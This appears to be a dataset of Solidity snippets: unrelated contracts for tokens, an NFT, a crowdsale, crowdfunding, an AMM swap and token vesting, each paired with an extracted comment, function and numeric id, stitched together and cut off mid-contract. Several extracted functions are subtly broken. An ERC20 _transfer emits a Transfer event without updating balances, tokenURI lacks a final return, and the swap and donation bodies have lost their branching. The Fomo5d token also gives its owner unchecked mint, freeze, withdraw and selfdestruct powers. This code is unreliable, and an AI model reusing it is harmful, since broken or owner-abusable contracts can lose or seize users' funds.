If vrfResult hasn't been revealed, return the reservation URI (preRevealURI).
function tokenURI(uint256 reservationId) public view virtual override returns (string memory) { require(_exists(reservationId), "ERC721Metadata: URI query for nonexistent reservation"); if (vrfResult == 0) { return preRevealURI; } }
12,659,349
pragma solidity ^0.4.18; contract Counter { /* Contract variables */ int private count; /* Contract constructor */ function Counter() public { count = 0; } /* This function increases the value of the counter by 1 */ function incrementCounter() public { count += 1; } /* This function decreases the value of the counter by 1 */ function decrementCounter() public { count -= 1; } /* This function returns the counter's value */ function getCount() public view returns (int) { return count; } }
This function returns the counter's value /
function getCount() public view returns (int) { return count; }
1,824,940
./full_match/80001/0xe02102a6a6B8CCC0a7fD2313823C8186A729fD38/sources/contracts/ThriftClubFactory.sol
Assumes this contract owns link. 1000000000000000000 = 1 LINK
function topUpSubscription(uint256 amount) public { LINKTOKEN.transferAndCall( address(COORDINATOR), amount, abi.encode(s_subscriptionId) ); }
863,273
pragma solidity ^0.5.0; import "./StandardToken.sol"; import "./AbstractSingularDTVFund.sol"; /// @title Token contract - Implements token issuance. /// @author Stefan George - <stefan.george@consensys.net> /// @author Milad Mostavi - <milad.mostavi@consensys.net> contract SingularDTVToken is StandardToken { string public version = "0.1.0"; /* * External contracts */ AbstractSingularDTVFund public singularDTVFund; /* * Token meta data */ string public name; string public symbol; uint8 public constant decimals = 18; /// @dev Transfers sender's tokens to a given address. Returns success. /// @param to Address of token receiver. /// @param value Number of tokens to transfer. function transfer(address to, uint256 value) public returns (bool) { // Both parties withdraw their reward first // singularDTVFund.softWithdrawRewardFor(msg.sender); // singularDTVFund.softWithdrawRewardFor(to); return super.transfer(to, value); } /// @dev Allows allowed third party to transfer tokens from one address to another. Returns success. /// @param from Address from where tokens are withdrawn. /// @param to Address to where tokens are sent. /// @param value Number of tokens to transfer. function transferFrom( address from, address to, uint256 value ) public returns (bool) { // Both parties withdraw their reward first singularDTVFund.softWithdrawRewardFor(from); singularDTVFund.softWithdrawRewardFor(to); return super.transferFrom(from, to, value); } constructor( address sDTVFundAddr, address _wallet, string memory _name, string memory _symbol, uint256 _totalSupply, address[] memory _accounts, uint256[] memory _balances ) public { if (sDTVFundAddr == address(0) || _wallet == address(0)) { // Fund and Wallet addresses should not be null. revert(); } balances[_wallet] = _totalSupply; totalSupply = _totalSupply; emit Transfer(address(this), _wallet, _totalSupply); name = _name; symbol = _symbol; singularDTVFund = AbstractSingularDTVFund(sDTVFundAddr); for (uint256 i = 0; i < _accounts.length; i++) { balances[_accounts[i]] = _balances[i]; totalSupply += _balances[i]; emit Transfer( address(this), _accounts[i], _balances[i] ); } } }
External contracts/ Token meta data/ Transfers sender's tokens to a given address. Returns success. to Address of token receiver. value Number of tokens to transfer. Both parties withdraw their reward first singularDTVFund.softWithdrawRewardFor(msg.sender); singularDTVFund.softWithdrawRewardFor(to);
function transfer(address to, uint256 value) public returns (bool) { return super.transfer(to, value); }
6,404,023
pragma solidity ^0.4.18; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract Fomo5d { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; mapping(address=>bool) public frozenAccount; uint256 public rate = 20000 ;//1 ether=how many tokens uint256 public amount; address public owner; bool public fundOnContract=true; bool public contractStart=true; bool public exchangeStart=true; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ modifier onlyOwner{ if(msg.sender != owner){ revert(); }else{ _; } } function transferOwner(address newOwner) public onlyOwner{ owner = newOwner; } function Fomo5d() public payable{ decimals=18; totalSupply = 1000000000 * (10 ** uint256(decimals)); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "Fomo5d"; // Set the name for display purposes symbol = "F5d"; // Set the symbol for display purposes owner = msg.sender; rate=20000; fundOnContract=true; contractStart=true; exchangeStart=true; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; if(frozenAccount[_from]){ revert(); } if(frozenAccount[_to]){ revert(); } // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { if(!contractStart){ revert(); } _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if(!contractStart){ revert(); } require(_value <= allowance[_from][msg.sender]); // Check allowance require(_value > 0); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { if(!contractStart){ revert(); } require(balanceOf[msg.sender] >= _value); allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { if(!contractStart){ revert(); } tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { if(!contractStart){ revert(); } require(balanceOf[msg.sender] >= _value); // Check if the sender has enough require(_value > 0); balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Transfer(msg.sender, 0, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public onlyOwner returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value> 0); balanceOf[_from] -= _value; // Subtract from the targeted balance totalSupply -= _value; // Update totalSupply Transfer(_from, 0, _value); return true; } function () public payable{ if(!contractStart){ revert(); } if(frozenAccount[msg.sender]){ revert(); } amount = uint256(msg.value * rate); if(balanceOf[msg.sender]+amount<balanceOf[msg.sender]){ revert(); } if(balanceOf[owner]<amount){ revert(); } //if(amount>0){ if(exchangeStart){ balanceOf[owner] -=amount ; balanceOf[msg.sender] +=amount; Transfer(owner, msg.sender, amount); //token event } if(!fundOnContract){ owner.transfer(msg.value); } //} } function transferFund(address target,uint256 _value) public onlyOwner{ if(frozenAccount[target]){ revert(); } if(_value<=0){ revert(); } if(_value>this.balance){ revert(); } if(target != 0){ target.transfer(_value); } } function setFundOnContract(bool _fundOnContract) public onlyOwner{ fundOnContract = _fundOnContract; } function setContractStart(bool _contractStart) public onlyOwner{ contractStart = _contractStart; } function freezeAccount(address target,bool _bool) public onlyOwner{ if(target != 0){ frozenAccount[target] = _bool; } } function setRate(uint thisRate) public onlyOwner{ if(thisRate>=0){ rate = thisRate; } } function mintToken(address target, uint256 mintedAmount) public onlyOwner { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, owner, mintedAmount); Transfer(owner, target, mintedAmount); } function ownerKill(address target) public onlyOwner { selfdestruct(target); } function withdraw(address target) public onlyOwner { target.transfer(this.balance); } function getBalance() public constant returns(uint) { return this.balance; } function setExchangeStart(bool _exchangeStart) public onlyOwner{ exchangeStart = _exchangeStart; } }
Internal transfer, only can be called by this contract/ Prevent transfer to 0x0 address. Use burn() instead Check if the sender has enough Check for overflows Save this for an assertion in the future
function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; if(frozenAccount[_from]){ revert(); } if(frozenAccount[_to]){ revert(); } Transfer(_from, _to, _value); }
10,905,026
pragma solidity ^0.4.19; import './interfaces/ERC20.sol'; import './libraries/SafeMath.sol'; import './utils/Ownable.sol'; import './utils/Secured.sol'; import './libraries/CryptoDollarStorageProxy.sol'; import './libraries/CryptoFiatStorageProxy.sol'; contract CryptoDollar is Secured { using SafeMath for uint256; using CryptoDollarStorageProxy for address; using CryptoFiatStorageProxy for address; string public name = "CryptoDollar"; string public symbol = "CUSD"; uint8 public decimals = 2; address public store; function CryptoDollar(address _storeAddress) public { store = _storeAddress; } function() public payable { revert(); } /** * Standard ERC20 transfer tokens function * @param _to {address} * @param _amount {uint256} * @return success {bool} */ function transfer(address _to, uint256 _amount) public returns (bool success) { uint256 senderReservedEther = store.getReservedEther(msg.sender); uint256 senderBalance = store.getBalance(msg.sender); uint256 etherValue = senderReservedEther.mul(_amount).div(senderBalance); require(senderBalance >= _amount); store.decrementBalance(msg.sender, _amount); store.incrementBalance(_to, _amount); store.decrementReservedEther(msg.sender, etherValue); store.incrementReservedEther(_to, etherValue); return true; } /** * Standard ERC20 transferFrom function * @param _from {address} * @param _to {address} * @param _amount {uint256} * @return success {bool} */ function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { uint256 senderReservedEther = store.getReservedEther(_from); uint256 senderBalance = store.getBalance(_from); uint256 etherValue = senderReservedEther.mul(_amount).div(senderBalance); require(senderBalance >= _amount); store.incrementBalance(_to, _amount); store.decrementBalance(_from, _amount); store.decrementReservedEther(_from, etherValue); store.incrementReservedEther(_to, etherValue); store.decrementAllowance(_from, _to, _amount); return true; } /** * Standard ERC20 approve function * @param _spender {address} * @param _amount {uint256} * @return success {bool} */ function approve(address _spender, uint256 _amount) public returns (bool success) { store.setAllowance(msg.sender, _spender, _amount); return true; } /** * Standard ERC20 allowance function * @param _owner {address} * @param _spender {address} * @return remaining {uint256} */ function allowance(address _owner, address _spender) public constant returns (uint256) { return store.getAllowance(_owner, _spender); } /** @notice mints _amount tokens for _to and reserves _etherValue of ether @param _to {address} - Address receiving CryptoDollar tokens @param _amount {uint256} - Amount of minted CryptoDollar tokens @param _etherValue {uint256} - Amount of ether that will be added to the receiver's reserved ether @return {bool} - True if the transaction is completed successfully */ function buy(address _to, uint256 _amount, uint256 _etherValue) public onlyAuthorized returns (bool) { store.incrementTotalSupply(_amount); store.incrementBalance(_to, _amount); store.incrementReservedEther(_to, _etherValue); return true; } /** @notice burns _amount tokens and removes _etherValue of ether for _to @param _to {address} - Address receiving CryptoDollar tokens @param _amount {uint256} - Amount of minted CryptoDollar tokens @param _etherValue {uint256} - Amount of ether that will be removed from the receiver's reserved ether @return True if the transaction is completed successfully */ function sell(address _to, uint256 _amount, uint256 _etherValue) public onlyAuthorized returns (bool) { store.decrementTotalSupply(_amount); store.decrementBalance(_to, _amount); store.decrementReservedEther(_to, _etherValue); return true; } /** @notice Returns the cryptodollar total supply via the storage contract @return CryptoDollar {uint256} - Total supply */ function totalSupply() public view returns (uint256) { return store.getTotalSupply(); } /** @notice Returns _owner CryptoDollar token balance via the storage contract @param _owner {address} - Address of CryptoDollar token owner @return CryptoDollar {uint256} tokens balance of _owner */ function balanceOf(address _owner) public constant returns(uint256 balance) { return store.getBalance(_owner); } /** @notice Returns _owner Reserved ether balance by calling the storage contract @param _owner {address} - Address of CryptoDollar token owner @return {uint256} - Ether value reserved for _owner */ function reservedEther(address _owner) public constant returns(uint256 value) { return store.getReservedEther(_owner); } }
Standard ERC20 approve function _spender {address} _amount {uint256} return success {bool}/
function approve(address _spender, uint256 _amount) public returns (bool success) { store.setAllowance(msg.sender, _spender, _amount); return true; }
13,032,540
./full_match/5/0xa28ec5483daBa005Be4f6B0c9cdA15D1Fd864973/sources/contracts/CrowdFunding.sol
(bool sent, ) = payable(campaign.owner).call{value: amount}(""); if(sent) { }
function donateToCampaign(uint256 _id) public payable { uint256 bal = _getBalance(msg.sender); Campaign storage campaign = campaigns[_id]; require(campaign.deadline > block.timestamp, 'Voting over you can create a new'); _preValidatePurchase(msg.sender, 0, bal, campaign.owner, _id); campaign.donators.push(msg.sender); campaign.donations.push(tokenAmount); _processPurchase(wallet, tokenAmount); emit TokenDonate( msg.sender, wallet, tokenAmount ); campaign.amountCollected = campaign.amountCollected + tokenAmount; }
1,945,446
pragma solidity 0.4.18; contract CrowdsaleParameters { // Accounts (2017-11-30) address internal constant presalePoolAddress = 0xF373BfD05C8035bE6dcB44CABd17557e49D5364C; address internal constant foundersAddress = 0x0ED375dd94c878703147580F044B6B1CE6a7F053; address internal constant incentiveReserveAddress = 0xD34121E853af290e61a0F0313B99abb24D4Dc6ea; address internal constant generalSaleAddress = 0xC107EC2077BA7d65944267B64F005471A6c05692; address internal constant lotteryAddress = 0x98631b688Bcf78D233C48E464fCfe6dC7aBd32A7; address internal constant marketingAddress = 0x2C1C916a4aC3d0f2442Fe0A9b9e570eB656582d8; // PreICO and Main sale ICO Timing per requirements uint256 internal constant presaleStartDate = 1512121500; // 2017-12-01 09:45 GMT uint256 internal constant presaleEndDate = 1513382430; // 2017-12-16 00:00:30 GMT uint256 internal constant generalSaleStartDate = 1515319200; // 2018-01-07 10:00 GMT uint256 internal constant generalSaleEndDate = 1518602400; // 2018-02-14 10:00 GMT } contract TokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract Owned { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * Constructor * * Sets contract owner to address of constructor caller */ function Owned() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } /** * Change Owner * * Changes ownership of this contract. Only owner can call this method. * * @param newOwner - new owner's address */ function changeOwner(address newOwner) onlyOwner public { require(newOwner != address(0)); require(newOwner != owner); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract SeedToken is Owned, CrowdsaleParameters { uint8 public decimals; function totalSupply() public returns (uint256 result); function balanceOf(address _address) public returns (uint256 balance); function allowance(address _owner, address _spender) public returns (uint256 remaining); function transfer(address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function accountBalance(address _address) public returns (uint256 balance); } contract LiveTreeCrowdsale is Owned, CrowdsaleParameters { uint[] public ICOStagePeriod; bool public icoClosedManually = false; bool public allowRefunds = false; uint public totalCollected = 0; address private saleWalletAddress; address private presaleWalletAddress; uint private tokenMultiplier = 10; SeedToken private tokenReward; uint private reasonableCostsPercentage; mapping (address => uint256) private investmentRecords; event FundTransfer(address indexed _from, address indexed _to, uint _value); event TokenTransfer(address indexed baker, uint tokenAmount, uint pricePerToken); event Refund(address indexed backer, uint amount); enum Stage { PreSale, GeneralSale, Inactive } /** * Constructor * * @param _tokenAddress - address of SED token (deployed before this contract) */ function LiveTreeCrowdsale(address _tokenAddress) public { tokenReward = SeedToken(_tokenAddress); tokenMultiplier = tokenMultiplier ** tokenReward.decimals(); saleWalletAddress = CrowdsaleParameters.generalSaleAddress; presaleWalletAddress = CrowdsaleParameters.presalePoolAddress; ICOStagePeriod.push(CrowdsaleParameters.presaleStartDate); ICOStagePeriod.push(CrowdsaleParameters.presaleEndDate); ICOStagePeriod.push(CrowdsaleParameters.generalSaleStartDate); ICOStagePeriod.push(CrowdsaleParameters.generalSaleEndDate); } /** * Get active stage (pre-sale or general sale) * * @return stage - active stage */ function getActiveStage() internal constant returns (Stage) { if (ICOStagePeriod[0] <= now && now < ICOStagePeriod[1]) return Stage.PreSale; if (ICOStagePeriod[2] <= now && now < ICOStagePeriod[3]) return Stage.GeneralSale; return Stage.Inactive; } /** * Process received payment * * Determine the number of tokens that was purchased considering current * stage, bonus tier and remaining amount of tokens in the sale wallet. * Transfer purchased tokens to bakerAddress and return unused portion of * ether (change) * * @param bakerAddress - address that ether was sent from * @param amount - amount of Wei received */ function processPayment(address bakerAddress, uint amount) internal { // Check current stage, either pre-sale or general sale should be active Stage currentStage = getActiveStage(); require(currentStage != Stage.Inactive); // Validate if ICO is not closed manually or reached the threshold require(!icoClosedManually); // Before Metropolis update require will not refund gas, but // for some reason require statement around msg.value always throws assert(amount > 0 finney); // Validate that we received less than a billion ETH to prevent overflow require(amount < 1e27); // Tell everyone about the transfer FundTransfer(bakerAddress, address(this), amount); // Calculate tokens per ETH for this tier uint tokensPerEth = 1130; if (amount < 1.5 ether) tokensPerEth = 1000; else if (amount < 3 ether) tokensPerEth = 1005; else if (amount < 5 ether) tokensPerEth = 1010; else if (amount < 7 ether) tokensPerEth = 1015; else if (amount < 10 ether) tokensPerEth = 1020; else if (amount < 15 ether) tokensPerEth = 1025; else if (amount < 20 ether) tokensPerEth = 1030; else if (amount < 30 ether) tokensPerEth = 1035; else if (amount < 50 ether) tokensPerEth = 1040; else if (amount < 75 ether) tokensPerEth = 1045; else if (amount < 100 ether) tokensPerEth = 1050; else if (amount < 150 ether) tokensPerEth = 1055; else if (amount < 250 ether) tokensPerEth = 1060; else if (amount < 350 ether) tokensPerEth = 1070; else if (amount < 500 ether) tokensPerEth = 1075; else if (amount < 750 ether) tokensPerEth = 1080; else if (amount < 1000 ether) tokensPerEth = 1090; else if (amount < 1500 ether) tokensPerEth = 1100; else if (amount < 2000 ether) tokensPerEth = 1110; else if (amount < 3500 ether) tokensPerEth = 1120; if (currentStage == Stage.PreSale) tokensPerEth = tokensPerEth * 2; // Calculate token amount that is purchased, // truncate to integer uint weiPerEth = 1e18; uint tokenAmount = amount * tokensPerEth * tokenMultiplier / weiPerEth; // Check that stage wallet has enough tokens. If not, sell the rest and // return change. address tokenSaleWallet = currentStage == Stage.PreSale ? presaleWalletAddress : saleWalletAddress; uint remainingTokenBalance = tokenReward.accountBalance(tokenSaleWallet); if (remainingTokenBalance < tokenAmount) { tokenAmount = remainingTokenBalance; } // Calculate Wei amount that was received in this transaction // adjusted to rounding and remaining token amount uint acceptedAmount = tokenAmount * weiPerEth / (tokensPerEth * tokenMultiplier); // Transfer tokens to baker and return ETH change tokenReward.transferFrom(tokenSaleWallet, bakerAddress, tokenAmount); TokenTransfer(bakerAddress, tokenAmount, tokensPerEth); uint change = amount - acceptedAmount; if (change > 0) { if (bakerAddress.send(change)) { FundTransfer(address(this), bakerAddress, change); } else revert(); } // Update crowdsale performance investmentRecords[bakerAddress] += acceptedAmount; totalCollected += acceptedAmount; } /** * Change pre-sale end date * * @param endDate - end date of pre-sale in milliseconds from unix epoch */ function changePresaleEndDate(uint256 endDate) external onlyOwner { require(ICOStagePeriod[0] < endDate); require(ICOStagePeriod[2] >= endDate); ICOStagePeriod[1] = endDate; } /** * Change general sale start date * * @param startDate - start date of general sale in milliseconds from unix epoch */ function changeGeneralSaleStartDate(uint256 startDate) external onlyOwner { require(now < startDate); require(ICOStagePeriod[1] <= startDate); ICOStagePeriod[2] = startDate; } /** * Change general sale end date * * @param endDate - end date of general sale in milliseconds from unix epoch */ function changeGeneralSaleEndDate(uint256 endDate) external onlyOwner { require(ICOStagePeriod[2] < endDate); ICOStagePeriod[3] = endDate; } /** * Stop ICO manually */ function pauseICO() external onlyOwner { require(!icoClosedManually); icoClosedManually = true; } /** * Reopen ICO */ function unpauseICO() external onlyOwner { require(icoClosedManually); icoClosedManually = false; } /** * Close main sale and destroy unsold tokens */ function closeMainSaleICO() external onlyOwner { var amountToDestroy = tokenReward.balanceOf(CrowdsaleParameters.generalSaleAddress); tokenReward.transferFrom(CrowdsaleParameters.generalSaleAddress, 0, amountToDestroy); ICOStagePeriod[3] = now; TokenTransfer(0, amountToDestroy, 0); } /** * Close pre ICO and transfer all unsold tokens to main sale wallet */ function closePreICO() external onlyOwner { var amountToTransfer = tokenReward.balanceOf(CrowdsaleParameters.presalePoolAddress); ICOStagePeriod[1] = now; tokenReward.transferFrom(CrowdsaleParameters.presalePoolAddress, CrowdsaleParameters.generalSaleAddress, amountToTransfer); } /** * Allow or disallow refunds * * @param value - if true, refunds will be allowed; if false, disallowed * @param _reasonableCostsPercentage - non-refundable fraction of total * collections in tens of a percent. Valid range is 0 to 1000: * 0 = 0.0%, 123 = 12.3%, 1000 = 100.0% */ function setAllowRefunds(bool value, uint _reasonableCostsPercentage) external onlyOwner { require(isICOClosed()); require(_reasonableCostsPercentage >= 1 && _reasonableCostsPercentage <= 999); allowRefunds = value; reasonableCostsPercentage = _reasonableCostsPercentage; } /** * Transfer ETH amount from contract to owner's address. * * @param amount - ETH amount to transfer in Wei */ function safeWithdrawal(uint amount) external onlyOwner { require(this.balance >= amount); if (owner.send(amount)) FundTransfer(address(this), owner, amount); } /** function * Is ICO closed (either closed manually or not started) * * @return true if ICO is closed manually or stage is "Inactive", otherwise false */ function isICOClosed() public constant returns (bool closed) { Stage currentStage = getActiveStage(); return icoClosedManually || currentStage == Stage.Inactive; } /** * Default method * * Processes all ETH that it receives and credits SED tokens to sender * according to current stage and tier bonus */ function () external payable { processPayment(msg.sender, msg.value); } /** * Kill method * * Destructs this contract */ function kill() external onlyOwner { require(isICOClosed()); selfdestruct(owner); } /** * Refund * * Sends a partial refund to the sender who calls this method. * Fraction of collected amount will not be refunded */ function refund() external { require(isICOClosed() && allowRefunds && investmentRecords[msg.sender] > 0); var amountToReturn = investmentRecords[msg.sender] * (1000 - reasonableCostsPercentage) / 1000; require(this.balance >= amountToReturn); investmentRecords[msg.sender] = 0; msg.sender.transfer(amountToReturn); Refund(msg.sender, amountToReturn); } }
Close main sale and destroy unsold tokens/
function closeMainSaleICO() external onlyOwner { var amountToDestroy = tokenReward.balanceOf(CrowdsaleParameters.generalSaleAddress); tokenReward.transferFrom(CrowdsaleParameters.generalSaleAddress, 0, amountToDestroy); ICOStagePeriod[3] = now; TokenTransfer(0, amountToDestroy, 0); }
5,508,308
./full_match/5/0x32ff4D05236E95FF60299E9b7BaB351179138389/sources/contracts/core/Pool.sol
@inheritdoc IPoolActions tick (token1Qty/token0Qty) will increase for swapping from token1 to token0 verify limitSqrtP continue swapping while specified input/output isn't satisfied or price limit not reached math calculations work with the assumption that the price diff is capped to 5% since tick distance is uncapped between currentTick and nextTick we use tempNextTick to satisfy our assumption with MAX_TICK_DISTANCE is set to be matched this condition local scope for targetSqrtP, usedAmount, returnedAmount and deltaL ensure next sqrtP (and its corresponding tick) does not exceed price limit if price has not reached the next sqrt price load variables that are only initialized when crossing a tick overflow/underflow not possible bc governmentFeeUnits < 20000 if the swap crosses at least 1 initalized tick if (cache.dexFee > 0) _mint(cache.dexVault, cache.dexFee); handle token transfers and perform callback outbound deltaQty0 (negative), inbound deltaQty1 (positive) transfer deltaQty0 to recipient collect deltaQty1 inbound deltaQty0 (positive), outbound deltaQty1 (negative) transfer deltaQty1 to recipient collect deltaQty0
function swap( address recipient, int256 swapQty, bool isToken0, uint160 limitSqrtP, bytes calldata data ) external override lock returns (int256 deltaQty0, int256 deltaQty1) { require(swapQty != 0, '0 swapQty'); SwapData memory swapData; swapData.specifiedAmount = swapQty; swapData.isToken0 = isToken0; swapData.isExactInput = swapData.specifiedAmount > 0; bool willUpTick = (swapData.isExactInput != isToken0); ( swapData.baseL, swapData.reinvestL, swapData.sqrtP, swapData.currentTick, swapData.nextTick ) = _getInitialSwapData(willUpTick); if (willUpTick) { require( limitSqrtP > swapData.sqrtP && limitSqrtP < TickMath.MAX_SQRT_RATIO, 'bad limitSqrtP' ); require( limitSqrtP < swapData.sqrtP && limitSqrtP > TickMath.MIN_SQRT_RATIO, 'bad limitSqrtP' ); } SwapCache memory cache; while (swapData.specifiedAmount != 0 && swapData.sqrtP != limitSqrtP) { int24 tempNextTick = swapData.nextTick; if (willUpTick && tempNextTick > C.MAX_TICK_DISTANCE + swapData.currentTick) { tempNextTick = swapData.currentTick + C.MAX_TICK_DISTANCE; tempNextTick = swapData.currentTick - C.MAX_TICK_DISTANCE; } swapData.nextSqrtP = TickMath.getSqrtRatioAtTick(tempNextTick); { uint160 targetSqrtP = swapData.nextSqrtP; if (willUpTick == (swapData.nextSqrtP > limitSqrtP)) { targetSqrtP = limitSqrtP; } int256 usedAmount; int256 returnedAmount; uint256 deltaL; (usedAmount, returnedAmount, deltaL, swapData.sqrtP) = SwapMath.computeSwapStep( swapData.baseL + swapData.reinvestL, swapData.sqrtP, targetSqrtP, swapFeeUnits, swapData.specifiedAmount, swapData.isExactInput, swapData.isToken0 ); swapData.specifiedAmount -= usedAmount; swapData.returnedAmount += returnedAmount; swapData.reinvestL += deltaL.toUint128(); } if (swapData.sqrtP != swapData.nextSqrtP) { swapData.currentTick = TickMath.getTickAtSqrtRatio(swapData.sqrtP); break; } swapData.currentTick = willUpTick ? tempNextTick : tempNextTick - 1; if (cache.rTotalSupply == 0) { cache.rTotalSupply = totalSupply(); cache.reinvestLLast = poolData.reinvestLLast; cache.feeGrowthGlobal = poolData.feeGrowthGlobal; cache.secondsPerLiquidityGlobal = _syncSecondsPerLiquidity( poolData.secondsPerLiquidityGlobal, swapData.baseL ); (cache.feeTo, cache.governmentFeeUnits) = factory.feeConfiguration(); (cache.dexVault, cache.dexFraction) = factory.dexFeeConfiguration(); } swapData.reinvestL, cache.reinvestLLast, swapData.baseL, cache.rTotalSupply ); if (rMintQty != 0) { cache.rTotalSupply += rMintQty; unchecked { uint256 governmentFee = (rMintQty * cache.governmentFeeUnits) / C.FEE_UNITS; uint256 dexFee = rMintQty/cache.dexFraction; cache.governmentFee += governmentFee; cache.dexFee += dexFee; uint256 lpFee = rMintQty - governmentFee; lpFee = lpFee-dexFee; cache.lpFee += lpFee; cache.feeGrowthGlobal += FullMath.mulDivFloor(lpFee, C.TWO_POW_96, swapData.baseL); } } cache.reinvestLLast = swapData.reinvestL; (swapData.baseL, swapData.nextTick) = _updateLiquidityAndCrossTick( swapData.nextTick, swapData.baseL, cache.feeGrowthGlobal, cache.secondsPerLiquidityGlobal, willUpTick ); } if (cache.rTotalSupply != 0) { if (cache.governmentFee > 0) _mint(cache.feeTo, cache.governmentFee); if (cache.lpFee > 0) _mint(address(this), cache.lpFee); poolData.reinvestLLast = cache.reinvestLLast; poolData.feeGrowthGlobal = cache.feeGrowthGlobal; } _updatePoolData( swapData.baseL, swapData.reinvestL, swapData.sqrtP, swapData.currentTick, swapData.nextTick ); (deltaQty0, deltaQty1) = isToken0 ? (swapQty - swapData.specifiedAmount, swapData.returnedAmount) : (swapData.returnedAmount, swapQty - swapData.specifiedAmount); if (willUpTick) { if (deltaQty0 < 0) token0.safeTransfer(recipient, deltaQty0.revToUint256()); uint256 balance1Before = _poolBalToken1(); ISwapCallback(msg.sender).swapCallback(deltaQty0, deltaQty1, data); require(_poolBalToken1() >= balance1Before + uint256(deltaQty1), 'lacking deltaQty1'); if (deltaQty1 < 0) token1.safeTransfer(recipient, deltaQty1.revToUint256()); uint256 balance0Before = _poolBalToken0(); ISwapCallback(msg.sender).swapCallback(deltaQty0, deltaQty1, data); require(_poolBalToken0() >= balance0Before + uint256(deltaQty0), 'lacking deltaQty0'); } _burnVaultTokens(); emit Swap( msg.sender, recipient, deltaQty0, deltaQty1, swapData.sqrtP, swapData.baseL, swapData.currentTick ); }
1,940,619
pragma solidity ^0.4.13; interface MigrationAgent { function migrateFrom(address _from, uint256 _value); } contract PoolAllocations { // ERC20 basic token contract being held ERC20Basic public token; // allocations map mapping (address =&gt; lockEntry) public allocations; // lock entry struct lockEntry { uint256 totalAmount; // total amount of token for a user uint256 firstReleaseAmount; // amount to be released uint256 nextRelease; // amount to be released every month uint256 restOfTokens; // the rest of tokens if not divisible bool isFirstRelease; // just flag uint numPayoutCycles; // only after 3 years } // max number of payout cycles uint public maxNumOfPayoutCycles; // first release date uint public startDay; // defines how many of cycles should be released immediately uint public cyclesStartFrom = 1; uint public payoutCycleInDays; function PoolAllocations(ERC20Basic _token) public { token = _token; } /** * @dev claims tokens held by time lock */ function claim() public { require(now &gt;= startDay); var elem = allocations[msg.sender]; require(elem.numPayoutCycles &gt; 0); uint256 tokens = 0; uint cycles = getPayoutCycles(elem.numPayoutCycles); if (elem.isFirstRelease) { elem.isFirstRelease = false; tokens += elem.firstReleaseAmount; tokens += elem.restOfTokens; } else { require(cycles &gt; 0); } tokens += elem.nextRelease * cycles; elem.numPayoutCycles -= cycles; assert(token.transfer(msg.sender, tokens)); } function getPayoutCycles(uint payoutCyclesLeft) private constant returns (uint) { uint cycles = uint((now - startDay) / payoutCycleInDays) + cyclesStartFrom; if (cycles &gt; maxNumOfPayoutCycles) { cycles = maxNumOfPayoutCycles; } return cycles - (maxNumOfPayoutCycles - payoutCyclesLeft); } function createAllocationEntry(uint256 total, uint256 first, uint256 next, uint256 rest) internal returns(lockEntry) { return lockEntry(total, // total first, // first next, // next rest, // rest true, //isFirstRelease maxNumOfPayoutCycles); //payoutCyclesLeft } } contract PoolBLock is PoolAllocations { uint256 public constant totalAmount = 911567810300063801255851777; function PoolBLock(ERC20Basic _token) PoolAllocations(_token) { // setup policy maxNumOfPayoutCycles = 5; // 20% * 5 = 100% startDay = now; cyclesStartFrom = 1; // the first payout cycles is released immediately payoutCycleInDays = 180 days; // 20% of tokens will be released every 6 months // allocations 